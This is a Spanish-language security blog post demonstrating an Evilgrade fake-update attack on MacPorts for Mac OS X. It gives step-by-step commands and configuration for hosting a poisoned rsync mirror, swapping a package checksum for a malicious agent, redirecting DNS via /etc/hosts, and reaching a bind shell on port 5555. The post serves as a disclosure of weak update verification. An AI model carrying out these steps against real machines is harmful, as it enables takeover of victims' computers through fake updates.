Menú principal

martes, 12 de julio de 2011

Owneando un Mac OS X a través de Evilgrade a MacPorts

Francisco Amato es un investigador de seguridad argentino de la empresa Infobyte que saltó a la fama mundial por sus trabajos en la técnica hacking conocida como Evilgrade. El objetivo de un atacante que hace uso de esta técnica es engañar al equipo de víctima haciéndole creer que hay una actualización pendiente para algún software vulnerable instalado en la máquina. Evidentemente, el atacante no entregará una actualización, sino un software malicioso que le permitirá tomar control de la máquina de víctima.

Francisco Amato presentado Evilgrade en una Ekoparty

Para entender mejor el funcionamiento de este ataque, vamos a repasar cómo se actualiza el software hoy en día en la mayoría de los programas. La idea es que el programa, nada más ser ejecutado, realiza una conexión a los servidores del fabricante, buscando nuevas actualizaciones. Si hay alguna actualización disponible, se le ofrecerá al usuario - o no si está configurado para hacerlo de forma automática - la opción de instalar la nueva versión que será descargada y ejecutada por el propio programa instalado en la máquina.

Si un atacante intercepta esta petición por medio de un ataque Man in the Middle, puede responder indicando que hay una actualización pendiente y entregar un troyano en lugar de la actualización. Si el sistema de actualizaciones ha sido correctamente comprobado, el software no debería ser ejecutado si no viene firmado digitalmente por el fabricante, pero sin embargo hay mucho software que no hace esto.

Un ejemplo con MacPorts para Mac OS X

En este ejemplo, Francisco Amato realiza la demostración con MacPorts para Mac OS X, un software muy común para la distribución de paquetes open sorce que es vulnerable a los ataques de Evilgrade. A grandes rangos el MacPorts utiliza como sistema de actualizaciones lo siguiente:

a) Un servidor rsync para la actualización de su repositorio.

b) Los paquetes se distribuyen por http/ftp.

c) Antes de instalar un nuevo paquete verifica el md5/sha1 del repositorio local con el nuevo archivo y si es válido instala el paquete.

Evilgrade en MacPorts para Mac OS X

Para realizar el ataque en este entorno se deben seguir las siguientes tareas:

1) Preparar el servidor de rsync en el equipo del atacante, que en este ejemplo tiene la dirección IP 192.168.10.133, con todo repositorio válido de rsync.macports.org. Para ello los pasos son:

mkdir -p /dev/evilgrade/release/ports
mkdir -p /dev/evilgrade/release/base
#Obtenemos la información necesaria
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/ports/ /dev/evilgrade/release/ports/
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/base/ /dev/evilgrade/release/base/

2) Se configura el archivo/etc/rsyncd.conf:

max connections = 20
log file = /var/log/rsync.log
timeout = 300
[release]
comment = Stuff
path = /dev/evilgrade/release/
read only = yes
list = yes
uid = nobody
gid = nogroup
# auth users = craig
# secrets file = /etc/rsyncd.secrets
hosts allow = 192.168.10.0/24 #cambiar por la subnet correspondiente.

3) Arrancar el servicio rsync:

/etc/init.d/rsync start

4) Configurar evilgrade para atacar a un paquete concreto

En este ejemplo se va a atacar el paquete serf dentro de la categoría www. La idea es que cuando se instale este paquete, al mismo tiempo se deje una shell abierta en el puerto 5555. Para ello se tiene que editar en el repositorio el archivo

/dev/evilgrade/release/ports/www/serf/Portfile

y cambiar el checksums md5 por el hash de nuestro payload/agente que se encuentra en

/evilgrade/agent/serf-0.7.2.tar.bz2

También se podría preparar este repositorio para que todos los porfiles apunten a un mismo paquete con el mismo md5, con lo que cualquier instalación por port infectaría a la victima.

Figura 1: Hash md5 del fichero a ejecutar

Este agente tiene una línea, concretamente la 132, en el fichero Makefile.in para dejar una shell en el 5555

4) En el equipo de la víctima, con la dirección IP 192.168.10.42, es necesario hacer un ataque Man in the middle para cambiar la resolución de los dominios de rsync.macports.org y serf.googlecode.com. Para este ejemplo, en lugar de hacer un ataque Man in the middle, se ha modificado el fichero /etc/hosts con la siguiente configuración:

192.168.10.133 serf.googlecode.com rsync.macports.org

5) Se levanta el framework de evilgrade en el equipo del atacante 192.168.10.133

6) En el equipo de la victima se solicita una actualización del paquete serf

Figura 2: sudo port selfupdate y sudo port install serf

7) Se puede verificar que el atacante esta recibiendo el requerimiento por rsync leyendo el archivo de log /var/log/rsync.log

Figura 3: Log en servidor rsync

Y luego se puede comprobar el request en el framework de evilgrade:

Figura 4: Log en Evilgrade framework

8) Por ultimo el atacante se conecta a la shell abierta

Figura 5: Shell obtenida en el puerto 5555

Con esta prueba se demuestra que si un atacante puede realizar un ataque de Man in the middle, DNS Poissoning, o un simple DHCP spoofing para añadir un nuevo servidor DNS a la red, puede instalar cualquier programa en un equipo Mac OS X que utilice MacPorts, debido a que no hay una comprobación robusta del software a instalar.

Para hacer este ataque es necesario descargar el agente y el módulo de MacPorts para Evilgrade, y descomprimirlo en el directorio raíz de evilgrade. También puedes descargar el framework Evilgrade desde Infobyte y además tienes un artículo sobre cómo detectar ataques Man in the middle en tu Mac OS X que te puede ser de ayuda en redes inseguras.

No hay comentarios:

Publicar un comentario en la entrada

Artículos relacionados

Otras historias relacionadas

Entradas populares